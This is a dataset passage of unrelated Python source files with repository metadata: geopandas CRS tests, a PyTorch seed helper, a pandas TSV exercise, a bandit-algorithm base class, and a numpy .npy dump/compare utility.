df.set_geometry(arr)\n        assert df.crs == self.osgb\n        assert df.geometry.crs == self.osgb\n        assert df.geometry.values.crs == self.osgb\n\n        arr = from_shapely(self.geoms)\n        df = GeoDataFrame({\"col1\": [1, 2], \"geometry\": arr}, crs=4326)\n        assert df.crs == self.wgs\n        assert df.geometry.crs == self.wgs\n        assert df.geometry.values.crs == self.wgs\n\n        arr = from_shapely(self.geoms, crs=4326)\n        df = GeoDataFrame({\"col1\": [1, 2], \"geometry\": arr})\n        assert df.crs == self.wgs\n        assert df.geometry.crs == self.wgs\n        assert df.geometry.values.crs == self.wgs\n\n        # geometry column without geometry\n        df = GeoDataFrame({\"geometry\": [0, 1]})\n        df.crs = 27700\n        assert df.crs == self.osgb\n\n    def test_dataframe_setitem(self):\n        # new geometry CRS has priority over GDF CRS\n        arr = from_shapely(self.geoms)\n        s = GeoSeries(arr, crs=27700)\n        df = GeoDataFrame()\n        df[\"geometry\"] = s\n        assert df.crs == self.osgb\n        assert df.geometry.crs == self.osgb\n        assert df.geometry.values.crs == self.osgb\n\n        arr = from_shapely(self.geoms, crs=27700)\n        df = GeoDataFrame()\n        df[\"geometry\"] = arr\n        assert df.crs == self.osgb\n        assert df.geometry.crs == self.osgb\n        assert df.geometry.values.crs == self.osgb\n\n        # test to_crs case (GH1960)\n        arr = from_shapely(self.geoms)\n        df = GeoDataFrame({\"col1\": [1, 2], \"geometry\": arr}, crs=4326)\n        df[\"geometry\"] = df[\"geometry\"].to_crs(27700)\n        assert df.crs == self.osgb\n        assert df.geometry.crs == self.osgb\n        assert df.geometry.values.crs == self.osgb\n\n        # test changing geometry crs not in the geometry column doesn't change the crs\n        arr = from_shapely(self.geoms)\n        df = GeoDataFrame(\n            {\"col1\": [1, 2], \"geometry\": arr, \"other_geom\": arr}, crs=4326\n        )\n        df[\"other_geom\"] = from_shapely(self.geoms, crs=27700)\n        assert df.crs == self.wgs\n        assert df.geometry.crs == self.wgs\n        assert df[\"geometry\"].crs == self.wgs\n        assert df[\"other_geom\"].crs == self.osgb\n\n    @pytest.mark.parametrize(\n        \"scalar\", [None, Point(0, 0), LineString([(0, 0), (1, 1)])]\n    )\n    def test_scalar(self, scalar):\n        with pytest.warns(FutureWarning):\n            df = GeoDataFrame()\n            df.crs = 4326\n        df[\"geometry\"] = scalar\n        assert df.crs == self.wgs\n        assert df.geometry.crs == self.wgs\n        assert df.geometry.values.crs == self.wgs\n\n    def test_read_file(self):\n        nybb_filename = datasets.get_path(\"nybb\")\n        df = read_file(nybb_filename)\n        assert df.crs == pyproj.CRS(2263)\n        assert df.geometry.crs == pyproj.CRS(2263)\n        assert df.geometry.values.crs == pyproj.CRS(2263)\n\n    def test_multiple_geoms(self):\n        arr = from_shapely(self.geoms, crs=27700)\n        s = GeoSeries(self.geoms, crs=4326)\n        df = GeoDataFrame(s, geometry=arr, columns=[\"col1\"])\n        assert df.crs == self.osgb\n        assert df.geometry.crs == self.osgb\n        assert df.geometry.values.crs == self.osgb\n        assert df.col1.crs == self.wgs\n        assert df.col1.values.crs == self.wgs\n\n    def test_multiple_geoms_set_geom(self):\n        arr = from_shapely(self.geoms, crs=27700)\n        s = GeoSeries(self.geoms, crs=4326)\n        df = GeoDataFrame(s, geometry=arr, columns=[\"col1\"])\n        df = df.set_geometry(\"col1\")\n        assert df.crs == self.wgs\n        assert df.geometry.crs == self.wgs\n        assert df.geometry.values.crs == self.wgs\n        assert df[\"geometry\"].crs == self.osgb\n        assert df[\"geometry\"].values.crs == self.osgb\n\n    def test_assign_cols(self):\n        arr = from_shapely(self.geoms, crs=27700)\n        s = GeoSeries(self.geoms, crs=4326)\n        df = GeoDataFrame(s, geometry=arr, columns=[\"col1\"])\n        df[\"geom2\"] = s\n        df[\"geom3\"] = s.values\n        df[\"geom4\"] = from_shapely(self.geoms)\n        assert df.crs == self.osgb\n        assert df.geometry.crs == self.osgb\n        assert df.geometry.values.crs == self.osgb\n        assert df.geom2.crs == self.wgs\n        assert df.geom2.values.crs == self.wgs\n        assert df.geom3.crs == self.wgs\n        assert df.geom3.values.crs == self.wgs\n        assert df.geom4.crs is None\n        assert df.geom4.values.crs is None\n\n    def test_copy(self):\n        arr = from_shapely(self.geoms, crs=27700)\n        s = GeoSeries(self.geoms, crs=4326)\n        df = GeoDataFrame(s, geometry=arr, columns=[\"col1\"])\n\n        arr_copy = arr.copy()\n        assert arr_copy.crs == arr.crs\n\n        s_copy = s.copy()\n        assert s_copy.crs == s.crs\n        assert s_copy.values.crs == s.values.crs\n\n        df_copy = df.copy()\n        assert df_copy.crs == df.crs\n        assert df_copy.geometry.crs == df.geometry.crs\n        assert df_copy.geometry.values.crs == df.geometry.values.crs\n        assert df_copy.col1.crs == df.col1.crs\n        assert df_copy.col1.values.crs == df.col1.values.crs\n\n    def test_rename(self):\n        arr = from_shapely(self.geoms, crs=27700)\n        s = GeoSeries(self.geoms, crs=4326)\n        df = GeoDataFrame(s, geometry=arr, columns=[\"col1\"])\n        df = df.rename(columns={\"geometry\": \"geom\"}).set_geometry(\"geom\")\n        assert df.crs == self.osgb\n        assert df.geometry.crs == self.osgb\n        assert df.geometry.values.crs == self.osgb\n\n        df = df.rename_geometry(\"geom2\")\n        assert df.crs == self.osgb\n        assert df.geometry.crs == self.osgb\n        assert df.geometry.values.crs == self.osgb\n\n        df = df.rename(columns={\"col1\": \"column1\"})\n        assert df.column1.crs == self.wgs\n        assert df.column1.values.crs == self.wgs\n\n    def test_geoseries_to_crs(self):\n        s = GeoSeries(self.geoms, crs=27700)\n        s = s.to_crs(4326)\n        assert s.crs == self.wgs\n        assert s.values.crs == self.wgs\n\n        df = GeoDataFrame(geometry=s)\n        assert df.crs == self.wgs\n        df = df.to_crs(27700)\n        assert df.crs == self.osgb\n        assert df.geometry.crs == self.osgb\n        assert df.geometry.values.crs == self.osgb\n\n        # make sure that only active geometry is transformed\n        arr = from_shapely(self.geoms, crs=4326)\n        df[\"col1\"] = arr\n        df = df.to_crs(3857)\n        assert df.col1.crs == self.wgs\n        assert df.col1.values.crs == self.wgs\n\n    def test_array_to_crs(self):\n        arr = from_shapely(self.geoms, crs=27700)\n        arr = arr.to_crs(4326)\n        assert arr.crs == self.wgs\n\n    def test_from_shapely(self):\n        arr = from_shapely(self.geoms, crs=27700)\n        assert arr.crs == self.osgb\n\n    def test_from_wkb(self):\n        L_wkb = [p.wkb for p in self.geoms]\n        arr = from_wkb(L_wkb, crs=27700)\n        assert arr.crs == self.osgb\n\n    def test_from_wkt(self):\n        L_wkt = [p.wkt for p in self.geoms]\n        arr = from_wkt(L_wkt, crs=27700)\n        assert arr.crs == self.osgb\n\n    def test_points_from_xy(self):\n        df = pd.DataFrame([{\"x\": x, \"y\": x, \"z\": x} for x in range(10)])\n        arr = points_from_xy(df[\"x\"], df[\"y\"], crs=27700)\n        assert arr.crs == self.osgb\n\n    # setting CRS in GeoSeries should not set it in passed array without CRS\n    def test_original(self):\n        arr = from_shapely(self.geoms)\n        s = GeoSeries(arr, crs=27700)\n        assert arr.crs is None\n        assert s.crs == self.osgb\n\n    def test_ops(self):\n        arr = self.arr\n        bound = arr.boundary\n        assert bound.crs == self.osgb\n\n        cent = arr.centroid\n        assert cent.crs == self.osgb\n\n        hull = arr.convex_hull\n        assert hull.crs == self.osgb\n\n        envelope = arr.envelope\n        assert envelope.crs == self.osgb\n\n        exterior = arr.exterior\n        assert exterior.crs == self.osgb\n\n        representative_point = arr.representative_point()\n        assert representative_point.crs == self.osgb\n\n    def test_binary_ops(self):\n        arr = self.arr\n        quads = []\n        while len(quads) < 10:\n            geom = Polygon([(random.random(), random.random()) for i in range(4)])\n            if geom.is_valid:\n                quads.append(geom)\n\n        arr2 = from_shapely(quads, crs=27700)\n\n        difference = arr.difference(arr2)\n        assert difference.crs == self.osgb\n\n        intersection = arr.intersection(arr2)\n        assert intersection.crs == self.osgb\n\n        symmetric_difference = arr.symmetric_difference(arr2)\n        assert symmetric_difference.crs == self.osgb\n\n        union = arr.union(arr2)\n        assert union.crs == self.osgb\n\n    def test_other(self):\n        arr = self.arr\n\n        buffer = arr.buffer(5)\n        assert buffer.crs == self.osgb\n\n        interpolate = arr.exterior.interpolate(0.1)\n        assert interpolate.crs == self.osgb\n\n        simplify = arr.simplify(5)\n        assert simplify.crs == self.osgb\n\n    @pytest.mark.parametrize(\n        \"attr, arg\",\n        [\n            (\"affine_transform\", ([0, 1, 1, 0, 0, 0],)),\n            (\"translate\", ()),\n            (\"rotate\", (10,)),\n            (\"scale\", ()),\n            (\"skew\", ()),\n        ],\n    )\n    def test_affinity_methods(self, attr, arg):\n        result = getattr(self.arr, attr)(*arg)\n\n        assert result.crs == self.osgb\n\n    def test_slice(self):\n        s = GeoSeries(self.arr, crs=27700)\n        assert s.iloc[1:].values.crs == self.osgb\n\n        df = GeoDataFrame({\"col1\": self.arr}, geometry=s)\n        assert df.iloc[1:].geometry.values.crs == self.osgb\n        assert df.iloc[1:].col1.values.crs == self.osgb\n\n    def test_concat(self):\n        s = GeoSeries(self.arr, crs=27700)\n        assert pd.concat([s, s]).values.crs == self.osgb\n\n        df = GeoDataFrame({\"col1\": from_shapely(self.geoms, crs=4326)}, geometry=s)\n        assert pd.concat([df, df]).geometry.values.crs == self.osgb\n        assert pd.concat([df, df]).col1.values.crs == self.wgs\n\n    def test_merge(self):\n        arr = from_shapely(self.geoms, crs=27700)\n        s = GeoSeries(self.geoms, crs=4326)\n        df = GeoDataFrame({\"col1\": s}, geometry=arr)\n        df2 = GeoDataFrame({\"col2\": s}, geometry=arr).rename_geometry(\"geom\")\n        merged = df.merge(df2, left_index=True, right_index=True)\n        assert merged.col1.values.crs == self.wgs\n        assert merged.geometry.values.crs == self.osgb\n        assert merged.col2.values.crs == self.wgs\n        assert merged.geom.values.crs == self.osgb\n        assert merged.crs == self.osgb\n\n    # CRS should be assigned to geometry\n    def test_deprecation(self):\n        with pytest.warns(FutureWarning):\n            df = GeoDataFrame([], crs=27700)\n\n        # https://github.com/geopandas/geopandas/issues/1548\n        # ensure we still have converted the crs value to a CRS object\n        assert isinstance(df.crs, pyproj.CRS)\n\n        with pytest.warns(FutureWarning):\n            df = GeoDataFrame([])\n            df.crs = 27700\n\n        assert isinstance(df.crs, pyproj.CRS)\n\n    # make sure that geometry column from list has CRS (__setitem__)\n    def test_setitem_geometry(self):\n        arr = from_shapely(self.geoms, crs=27700)\n        df = GeoDataFrame({\"col1\": [0, 1]}, geometry=arr)\n\n        df[\"geometry\"] = [g for g in df.geometry]\n        assert df.geometry.values.crs == self.osgb\n\n        df2 = GeoDataFrame({\"col1\": [0, 1]}, geometry=arr)\n        df2[\"geometry\"] = from_shapely(self.geoms, crs=4326)\n        assert df2.geometry.values.crs == self.wgs\n\n    def test_astype(self):\n        arr = from_shapely(self.geoms, crs=27700)\n        df = GeoDataFrame({\"col1\": [0, 1]}, geometry=arr)\n        df2 = df.astype({\"col1\": str})\n        assert df2.crs == self.osgb\n\n    def test_apply(self):\n        s = GeoSeries(self.arr)\n        assert s.crs == 27700\n\n        # apply preserves the CRS if the result is a GeoSeries\n        result = s.apply(lambda x: x.centroid)\n        assert result.crs == 27700\n\n    def test_apply_geodataframe(self):\n        df = GeoDataFrame({\"col1\": [0, 1]}, geometry=self.geoms, crs=27700)\n        assert df.crs == 27700\n\n        # apply preserves the CRS if the result is a GeoDataFrame\n        result = df.apply(lambda col: col, axis=0)\n        assert result.crs == 27700\n        result = df.apply(lambda row: row, axis=1)\n        assert result.crs == 27700\n\n\nclass TestSetCRS:\n    @pytest.mark.parametrize(\n        \"constructor\",\n        [\n            lambda geoms, crs: GeoSeries(geoms, crs=crs),\n            lambda geoms, crs: GeoDataFrame(geometry=geoms, crs=crs),\n        ],\n        ids=[\"geoseries\", \"geodataframe\"],\n    )\n    def test_set_crs(self, constructor):\n        naive = constructor([Point(0, 0), Point(1, 1)], crs=None)\n        assert naive.crs is None\n\n        # by default returns a copy\n        result = naive.set_crs(crs=\"EPSG:4326\")\n        assert result.crs == \"EPSG:4326\"\n        assert naive.crs is None\n\n        result = naive.set_crs(epsg=4326)\n        assert result.crs == \"EPSG:4326\"\n        assert naive.crs is None\n\n        # with inplace=True\n        result = naive.set_crs(crs=\"EPSG:4326\", inplace=True)\n        assert result is naive\n        assert result.crs == naive.crs == \"EPSG:4326\"\n\n        # raise for non-naive when crs would be overridden\n        non_naive = constructor([Point(0, 0), Point(1, 1)], crs=\"EPSG:4326\")\n        assert non_naive.crs == \"EPSG:4326\"\n        with pytest.raises(ValueError, match=\"already has a CRS\"):\n            non_naive.set_crs(\"EPSG:3857\")\n\n        # allow for equal crs\n        result = non_naive.set_crs(\"EPSG:4326\")\n        assert result.crs == \"EPSG:4326\"\n\n        # replace with allow_override=True\n        result = non_naive.set_crs(\"EPSG:3857\", allow_override=True)\n        assert non_naive.crs == \"EPSG:4326\"\n        assert result.crs == \"EPSG:3857\"\n\n        result = non_naive.set_crs(\"EPSG:3857\", allow_override=True, inplace=True)\n        assert non_naive.crs == \"EPSG:3857\"\n        assert result.crs == \"EPSG:3857\"\n\n        # raise error when no crs is passed\n        with pytest.raises(ValueError):\n            naive.set_crs(crs=None, epsg=None)\n", "meta": {"hexsha": "b7be6663bf0cbb98a738821ebf338b04d64ebfe7", "size": 23227, "ext": "py", "lang": "Python", "max_stars_repo_path": "geopandas/tests/test_crs.py", "max_stars_repo_name": "oefe/geopandas", "max_stars_repo_head_hexsha": "98940d843272843f929414e850c763bc7e992216", "max_stars_repo_licenses": ["BSD-3-Clause"], "max_stars_count": 1, "max_stars_repo_stars_event_min_datetime": "2022-01-28T14:20:07.000Z", "max_stars_repo_stars_event_max_datetime": "2022-01-28T14:20:07.000Z", "max_issues_repo_path": "geopandas/tests/test_crs.py", "max_issues_repo_name": "oefe/geopandas", "max_issues_repo_head_hexsha": "98940d843272843f929414e850c763bc7e992216", "max_issues_repo_licenses": ["BSD-3-Clause"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "geopandas/tests/test_crs.py", "max_forks_repo_name": "oefe/geopandas", "max_forks_repo_head_hexsha": "98940d843272843f929414e850c763bc7e992216", "max_forks_repo_licenses": ["BSD-3-Clause"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 34.0571847507, "max_line_length": 86, "alphanum_fraction": 0.6088173247, "include": true, "reason": "import numpy", "num_tokens": 6454, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.46101676450173545, "lm_q2_score": 0.10970576805636038, "lm_q1q2_score": 0.050576198236521104}}
{"text": "import torch\nimport random\nimport numpy as np\n\ndef set_seed(seed):\n    \"\"\" Use this to set ALL the random seeds to a fixed value and take out any \n        randomness from cuda kernels\n    \"\"\"\n    random.seed(seed)\n    np.random.seed(seed)\n    torch.manual_seed(seed)\n    torch.cuda.manual_seed_all(seed)\n\n    #uses inbuilt cudnn auto-tuner to find the fastest convolution algorithms.\n    torch.backends.cudnn.benchmark = False  \n    torch.backends.cudnn.enabled   = False\n\n    return True\n\nseed = 42\ndevice = 'cpu'\n\nif torch.cuda.device_count() > 0 and torch.cuda.is_available():\n    print(\"Cuda installed! Running on GPU!\")\n    device = 'cuda'\nelse:\n    print(\"No GPU available!\")", "meta": {"hexsha": "dee3b29c4bc157f407d28283450776357e6736c0", "size": 681, "ext": "py", "lang": "Python", "max_stars_repo_path": "kmnist_helpers/__init__.py", "max_stars_repo_name": "kev-fung/KMNIST-Classifier", "max_stars_repo_head_hexsha": "f9cf05ad7fc5cbc41b0c58eb3db25b27361a75f6", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "kmnist_helpers/__init__.py", "max_issues_repo_name": "kev-fung/KMNIST-Classifier", "max_issues_repo_head_hexsha": "f9cf05ad7fc5cbc41b0c58eb3db25b27361a75f6", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "kmnist_helpers/__init__.py", "max_forks_repo_name": "kev-fung/KMNIST-Classifier", "max_forks_repo_head_hexsha": "f9cf05ad7fc5cbc41b0c58eb3db25b27361a75f6", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 25.2222222222, "max_line_length": 79, "alphanum_fraction": 0.6916299559, "include": true, "reason": "import numpy", "num_tokens": 162, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4301473485858428, "lm_q2_score": 0.11757214127540647, "lm_q1q2_score": 0.05057334483717622}}
{"text": "import numpy as np\nimport pandas as pd\n\ncol_names = ['Title', 'Air date', 'Production code', 'Season', 'Number in season',\n             'Number in series', 'US viewers (million)', 'Views', 'IMDB rating']\n\nselect_cols = ['Title','Air date','Production code','IMDB rating']\n\nsimpsons = pd.read_csv('simpsons-episodes.tsv',\n                 sep='\\t',\n                 encoding='UTF-8',\n                 names=col_names,\n                 usecols=select_cols,\n                 skiprows=4,\n                 index_col='Production code',\n                 na_values=['no_val'],\n                 parse_dates=['Air date'])\n", "meta": {"hexsha": "1ef848a8800c0362ada01263c5cf743d042b9655", "size": 612, "ext": "py", "lang": "Python", "max_stars_repo_path": "Reading Data/lesson-4-tsv-with-the-simpsons-episodes/solutions/solution_1.py", "max_stars_repo_name": "danielgarm/Data-Science-and-Machine-Learning", "max_stars_repo_head_hexsha": "fa3e85cc42eb2e9f964ab5abb34d1c93e16d1cd9", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "Reading Data/lesson-4-tsv-with-the-simpsons-episodes/solutions/solution_1.py", "max_issues_repo_name": "danielgarm/Data-Science-and-Machine-Learning", "max_issues_repo_head_hexsha": "fa3e85cc42eb2e9f964ab5abb34d1c93e16d1cd9", "max_issues_repo_licenses": ["MIT"], "max_issues_count": 2, "max_issues_repo_issues_event_min_datetime": "2022-01-11T21:04:51.000Z", "max_issues_repo_issues_event_max_datetime": "2022-01-11T21:05:05.000Z", "max_forks_repo_path": "Reading Data/lesson-4-tsv-with-the-simpsons-episodes/solutions/solution_1.py", "max_forks_repo_name": "danielgarm/Data-Science-and-Machine-Learning", "max_forks_repo_head_hexsha": "fa3e85cc42eb2e9f964ab5abb34d1c93e16d1cd9", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 34.0, "max_line_length": 82, "alphanum_fraction": 0.5359477124, "include": true, "reason": "import numpy", "num_tokens": 134, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.43014736319616975, "lm_q2_score": 0.11757212426963223, "lm_q1q2_score": 0.050573339239954704}}
{"text": "import abc\n\nimport numpy as np\n\n\n# This is an abstract class that specifies how a concrete implementation of a bandit algorithm should behave.\nclass BanditLearner(metaclass=abc.ABCMeta):\n    # n_arms = number of arms the learner can pull.\n    def __init__(self, n_arms: int):\n        assert n_arms > 1\n        self.n_arms = n_arms\n        self.t = 0  # current round.\n        self.rewards_per_arm = [[] for _ in range(n_arms)]  # List of lists (using python list), example rewards_per_arm[0] contains the list of pulled rewards from arm 0.\n        self.collected_rewards = np.array([])  # Numpy array containing all rewards.\n\n    # pulled_arm = arm pulled.\n    # reward = reward of arm pulled.\n    def update_observations(self, pulled_arm: int, reward: float) -> None:\n        assert pulled_arm < self.n_arms\n        self.rewards_per_arm[pulled_arm].append(reward)\n        self.collected_rewards = np.append(self.collected_rewards, reward)\n\n    @abc.abstractmethod\n    def pull_arm(self) -> int:\n        pass\n\n    @abc.abstractmethod\n    def update(self, pulled_arm: int, reward: float) -> None:\n        pass\n", "meta": {"hexsha": "d2fbb168544f259ada26ae70b1ea48476dfbbb31", "size": 1109, "ext": "py", "lang": "Python", "max_stars_repo_path": "src/bandit_algorithms/bandit_learner.py", "max_stars_repo_name": "Desno365/Data-Intelligence-Applications-Project", "max_stars_repo_head_hexsha": "01965790b80847f92321651d1d352537bf2859f3", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "src/bandit_algorithms/bandit_learner.py", "max_issues_repo_name": "Desno365/Data-Intelligence-Applications-Project", "max_issues_repo_head_hexsha": "01965790b80847f92321651d1d352537bf2859f3", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "src/bandit_algorithms/bandit_learner.py", "max_forks_repo_name": "Desno365/Data-Intelligence-Applications-Project", "max_forks_repo_head_hexsha": "01965790b80847f92321651d1d352537bf2859f3", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 36.9666666667, "max_line_length": 171, "alphanum_fraction": 0.6834986474, "include": true, "reason": "import numpy", "num_tokens": 282, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4301473485858429, "lm_q2_score": 0.11757212736159102, "lm_q1q2_score": 0.050573338852185415}}
{"text": "#!/usr/bin/env python\n#\n# Copyright (c) 2019 Opticks Team. All Rights Reserved.\n#\n# This file is part of Opticks\n# (see https://bitbucket.org/simoncblyth/opticks).\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\"); \n# you may not use this file except in compliance with the License.  \n# You may obtain a copy of the License at\n#\n#   http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software \n# distributed under the License is distributed on an \"AS IS\" BASIS, \n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.  \n# See the License for the specific language governing permissions and \n# limitations under the License.\n#\n\n\"\"\"\nnp.py\n========\n\nThis is intended as a quick and dirty dumper/comparer of npy files,\nfor quick initial comparisons of small numbers of arrays.\n\nWhen wishing to get specific to certain collections of npy files, \nmove to specific other scripts such as ab.py etc..  \n\nKeep this general.\n\n\nNB when intended argument values begin with a negative sign\nyou have to handhold argparser to get them in::\n\n   np.py GMergedMesh/0/nodeinfo.npy -viF --slice=\"-20:-1\"\n\nBecause arguments beginning with negative signs are very common with slices, \nunderscores in arguments are converted to \"-\" signs for the slice arguments, \nallowing::\n\n   np.py GMergedMesh/0/nodeinfo.npy -viF -s _20:_1\n\n\n::\n\n   ipython -i $(which np.py) -- tmp/blyth/OKG4Test/evt/g4live/natural/-1/so.npy source/evt/g4live/natural/-1/so.npy -v\n\n   inp(){ ipython -i $(which np.py) -- $* ; }\n\n   inp tmp/blyth/OKG4Test/evt/g4live/natural/-1/so.npy source/evt/g4live/natural/-1/so.npy -v\n\nComparing directories containing npy::\n\n   np.py tmp/blyth/OKG4Test/evt/g4live/natural/{-1,1} \n\nEven more minimal::\n\n   python -c \"import numpy as np, sys ; np.set_printoptions(suppress=True) ; print np.load(sys.argv[1]) \" \n\n\n\n\"\"\"\nimport sys, fnmatch, os, logging, numpy as np, commands, argparse\nfrom collections import OrderedDict as odict\n\nlog = logging.getLogger(__name__)\n\nis_npy_ = lambda _:fnmatch.fnmatch(_,\"*.npy\")\nis_txt_ = lambda _:fnmatch.fnmatch(_,\"*.txt\")\nis_dir_ = lambda _:os.path.isdir(_)\n\nfrom opticks.bin.md5 import digest_\nfrom opticks.ana.base import stamp_\n\ndef dump_one(a, args):\n    print(a.shape)\n    if args.float:\n        print(\"f32\")\n        print(a[args.slice].view(np.float32))\n    pass\n    if args.int:\n        print(\"i32\")\n        print(a[args.slice].view(np.int32))\n    pass\n\ndef dump_tree(base, args):\n    \"\"\"\n    Recursively lists shapes of all .npy files \n    and line lengths of .txt files.\n    \"\"\"\n    print(os.path.abspath(base))\n    for root, dirs, files in os.walk(base):\n        sfiles = sorted(files)\n        if args.txt:\n            for name in filter(is_txt_,sfiles):\n                path = os.path.join(root, name)\n                txt_brief(path)\n            pass\n        pass\n        for name in filter(is_npy_,sfiles):\n            path = os.path.join(root, name)\n            npy_brief(path, args)  \n        pass   \n    pass\n\n\ndef txt_brief( path, label=\".\" ):\n    fdig = digest_(path)\n    stmp = stamp_(path)\n    lines = len(file(path, \"r\").readlines())\n    print(\"%s : %60s : %20s : %s : %s \" % ( label, path, lines , fdig, stmp ))\n\ndef npy_brief( path, args, label=\".\"):\n    a = np.load(path)\n    fdig = digest_(path)\n    stmp = stamp_(path)\n    print(\"%s : %60s : %20s : %s : %s \" % ( label, path, repr(a.shape), fdig, stmp ))\n    if args.verbose > 0:\n        dump_one(a, args)\n    pass\n    return a\n\ndef compare(a, b):\n    df = a - b \n    print( \" max(a-b) %10.3g  min(a-b) %10.3g \" % (np.max(df), np.min(df)) ) \n\n\nif __name__ == '__main__':\n    logging.basicConfig(level=logging.INFO)\n\n    parser = argparse.ArgumentParser(__doc__)\n    parser.add_argument(  \"paths\", nargs='*', help=\"File or directory paths with .npy\" )\n    parser.add_argument(\"-v\",\"--verbose\", action=\"store_true\", default=False )\n    parser.add_argument(\"-f\",\"--float\", action=\"store_true\", default=True )\n    parser.add_argument(\"-F\",\"--nofloat\", dest=\"float\", action=\"store_false\" )\n    parser.add_argument(\"-T\",\"--notxt\", dest=\"txt\", action=\"store_false\", default=True )\n    parser.add_argument(\"-i\",\"--int\", action=\"store_true\", default=False )\n    parser.add_argument(\"-n\",\"--threshold\", type=int, default=1000 )\n    parser.add_argument(\"-d\",\"--debug\", action=\"store_true\", default=False )\n    parser.add_argument(\"-s\",\"--slice\", default=None )\n\n    args = parser.parse_args()\n    if args.debug:\n        print(args)\n    pass  \n    if args.slice is not None: \n        args.slice = slice( *map(int,args.slice.replace(\"_\",\"-\").split(\":\")) )\n    pass \n    if args.debug:\n        print(\"args.slice %r \" % args.slice)\n    pass \n\n    np.set_printoptions(suppress=True, precision=4, linewidth=200, threshold=int(args.threshold))\n\n    dirs = filter(is_dir_, args.paths)\n    npys = filter(is_npy_, args.paths)\n    if args.debug:\n        print(\"dirs:%s\" % repr(dirs))\n        print(\"npys:%s\" % repr(npys))\n    pass\n\n    if len(dirs) > 0:\n        for p in dirs: \n            dump_tree(p, args)\n        pass\n    elif len(dirs) == 0 and len(npys) == 0:\n        dump_tree(\".\", args)\n    else:\n        pass\n    pass\n\n    if len(npys) > 0:\n        n = odict()\n        labels = \"abcdefghijklmnopqrstuvwxyz\"\n        labels += labels.upper()\n        for i,path in enumerate(npys):\n            n[i] = npy_brief(path, args, label=labels[i])\n        pass\n        ln = len(npys)\n\n        if ln > 0: a=n[0]\n        if ln > 1: b=n[1]\n        if ln > 2: c=n[2]\n        if ln > 3: d=n[3]\n\n        if ln == 2:\n            compare(a,b) \n        pass\n    pass\n        \n\n", "meta": {"hexsha": "54b4d694d65c9d832a020dcec308700b1e237419", "size": 5630, "ext": "py", "lang": "Python", "max_stars_repo_path": "bin/np.py", "max_stars_repo_name": "seriksen/opticks", "max_stars_repo_head_hexsha": "2173ea282bdae0bbd1abf4a3535bede334413ec1", "max_stars_repo_licenses": ["Apache-2.0"], "max_stars_count": 1, "max_stars_repo_stars_event_min_datetime": "2020-05-13T06:55:49.000Z", "max_stars_repo_stars_event_max_datetime": "2020-05-13T06:55:49.000Z", "max_issues_repo_path": "bin/np.py", "max_issues_repo_name": "seriksen/opticks", "max_issues_repo_head_hexsha": "2173ea282bdae0bbd1abf4a3535bede334413ec1", "max_issues_repo_licenses": ["Apache-2.0"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "bin/np.py", "max_forks_repo_name": "seriksen/opticks", "max_forks_repo_head_hexsha": "2173ea282bdae0bbd1abf4a3535bede334413ec1", "max_forks_repo_licenses": ["Apache-2.0"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 29.0206185567, "max_line_length": 118, "alphanum_fraction": 0.6259325044, "include": true, "reason": "import numpy", "num_tokens": 1549, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.43014734858584286, "lm_q2_score": 0.11757212426963223, "lm_q1q2_score": 0.05057333752218753}}
{"text": "import numpy as np\nimport os\na = np.arange(20)\nnp.save('temp_arra.npy', a)\nprint(\"Check if 'temp_arra.npy' exists or not?\")\nif os.path.exists('temp_arra.npy'):\n    x2 = np.load('temp_arra.npy')\n    print(np.array_equal(a, x2))", "meta": {"hexsha": "4a779a8e09ce3f746e06cf688bf44e4e5523c272", "size": 226, "ext": "py", "lang": "Python", "max_stars_repo_path": "semester-6/Python Practice/numpyPractice/program35.py", "max_stars_repo_name": "saranshbht/bsc-codes", "max_stars_repo_head_hexsha": "7386c09cc986de9c84947f7dea7db3dc42219a35", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 3, "max_stars_repo_stars_event_min_datetime": "2021-03-22T12:07:14.000Z", "max_stars_repo_stars_event_max_datetime": "2021-08-30T17:28:23.000Z", "max_issues_repo_path": "semester-6/Python Practice/numpyPractice/program35.py", "max_issues_repo_name": "saranshbht/bsc-codes", "max_issues_repo_head_hexsha": "7386c09cc986de9c84947f7dea7db3dc42219a35", "max_issues_repo_licenses": ["MIT"], "max_issues_count": 